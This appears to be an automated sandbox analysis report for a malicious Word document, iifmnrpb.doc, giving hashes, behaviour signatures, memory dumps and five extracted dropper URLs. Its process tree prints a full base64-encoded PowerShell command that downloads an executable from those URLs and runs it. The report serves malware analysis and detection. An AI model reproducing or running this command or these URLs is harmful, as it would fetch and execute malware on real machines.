Analysis

  • max time kernel
    141s
  • max time network
    87s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    26-06-2022 05:39

General

  • Target

    iifmnrpb.doc

  • Size

    175KB

  • MD5

    f8ab6670f00a035e68134a7fd4dcb264

  • SHA1

    0fd60d0c821d6aa014171a05b7678a21b05056fe

  • SHA256

    f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280

  • SHA512

    f4f48f82ec065a0e7aaa2ae57eceeaead5b5ad7ff49b73cbaf332bf5329888714a8819aa64a95aabdec6471596f299d2a2c20e4557425e4da722d99cdbe5e45c

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.greaudstudio.com/docs/olohz_suq_munasyr/

exe.dropper

http://www.gravelrecords.com/wp-admin/5h_jns_l3s6/

exe.dropper

http://gtsouth.com/drinkmenu/38vq_z8al_r5cujfy90n/

exe.dropper

http://groncrete.com/bower_components/cvbh8_f0_84rai/

exe.dropper

http://www.gunesoluk.com/eotps/heb_x_1ehlbx9/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\iifmnrpb.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:584
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABOAFoAQwBSAE8AeQBoAGkAPQAnAFoAQQBHAFEASABuAHYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBgAFUAcgBJAFQAeQBgAFAAUgBvAGAAVABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFkAQQBTAEcAdQBlAGEAIAA9ACAAJwA1ADgAMwAnADsAJABHAEkASABFAFUAZgBoAGEAPQAnAEYAUABGAFYASABsAGQAegAnADsAJABRAE8ATQBOAFMAYgBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAWQBBAFMARwB1AGUAYQArACcALgBlAHgAZQAnADsAJABaAEEATgBGAEoAbwBmAGYAPQAnAEIAUgBOAFcARABmAHUAdQAnADsAJABBAE8AQwBZAE0AcwB0AGQAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBMAEkAZQBOAFQAOwAkAFQAQQBKAEoAQQBsAHoAegA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAcgBlAGEAdQBkAHMAdAB1AGQAaQBvAC4AYwBvAG0ALwBkAG8AYwBzAC8AbwBsAG8AaAB6AF8AcwB1AHEAXwBtAHUAbgBhAHMAeQByAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwByAGEAdgBlAGwAcgBlAGMAbwByAGQAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQBoAF8AagBuAHMAXwBsADMAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAdABzAG8AdQB0AGgALgBjAG8AbQAvAGQAcgBpAG4AawBtAGUAbgB1AC8AMwA4AHYAcQBfAHoAOABhAGwAXwByADUAYwB1AGoAZgB5ADkAMABuAC8AKgBoAHQAdABwADoALwAvAGcAcgBvAG4AYwByAGUAdABlAC4AYwBvAG0ALwBiAG8AdwBlAHIAXwBjAG8AbQBwAG8AbgBlAG4AdABzAC8AYwB2AGIAaAA4AF8AZgAwAF8AOAA0AHIAYQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwB1AG4AZQBzAG8AbAB1AGsALgBjAG8AbQAvAGUAbwB0AHAAcwAvAGgAZQBiAF8AeABfADEAZQBoAGwAYgB4ADkALwAnAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAVgBIAE0ARwB4AHAAZAA9ACcAVQBGAFkARgBFAG4AYgBkACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQQBBAEkAbABxAHoAIABpAG4AIAAkAFQAQQBKAEoAQQBsAHoAegApAHsAdAByAHkAewAkAEEATwBDAFkATQBzAHQAZAAuACIARABgAG8AdwBOAGwATwBgAEEAYABEAGYAaQBMAGUAIgAoACQAWABXAEEAQQBJAGwAcQB6ACwAIAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABXAEEAWgBTAFkAcABmAGcAPQAnAEYASQBMAEEAQQBuAHUAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFEATwBNAE4AUwBiAGUAZwApAC4AIgBsAGAARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABFAEEAVABlACIAKAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABNAFQAUQBQAEYAcgBsAHoAPQAnAFYATgBBAFUAQQBxAHkAdAAnADsAYgByAGUAYQBrADsAJABOAFcAUwBIAEEAbwBqAHUAPQAnAFQARQBLAEwASABpAHAAcQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAEwAVQBCAE4AcABkAGsAPQAnAEUATwBMAEoAQwB1AGQAagAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:796

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/584-67-0x0000000000000000-mapping.dmp

    • memory/796-61-0x000007FEF2290000-0x000007FEF2DED000-memory.dmp

      Filesize

      11.4MB

    • memory/796-69-0x000000000240B000-0x000000000242A000-memory.dmp

      Filesize

      124KB

    • memory/796-66-0x0000000002404000-0x0000000002407000-memory.dmp

      Filesize

      12KB

    • memory/796-65-0x000000000240B000-0x000000000242A000-memory.dmp

      Filesize

      124KB

    • memory/796-59-0x000007FEFB6D1000-0x000007FEFB6D3000-memory.dmp

      Filesize

      8KB

    • memory/796-60-0x000007FEF2DF0000-0x000007FEF3813000-memory.dmp

      Filesize

      10.1MB

    • memory/796-62-0x0000000002404000-0x0000000002407000-memory.dmp

      Filesize

      12KB

    • memory/796-64-0x000000001B7E0000-0x000000001BADF000-memory.dmp

      Filesize

      3.0MB

    • memory/1616-58-0x0000000070C2D000-0x0000000070C38000-memory.dmp

      Filesize

      44KB

    • memory/1616-63-0x0000000070C2D000-0x0000000070C38000-memory.dmp

      Filesize

      44KB

    • memory/1616-54-0x00000000721C1000-0x00000000721C4000-memory.dmp

      Filesize

      12KB

    • memory/1616-57-0x0000000074F91000-0x0000000074F93000-memory.dmp

      Filesize

      8KB

    • memory/1616-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1616-55-0x000000006FC41000-0x000000006FC43000-memory.dmp

      Filesize

      8KB

    • memory/1616-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1616-71-0x0000000070C2D000-0x0000000070C38000-memory.dmp

      Filesize

      44KB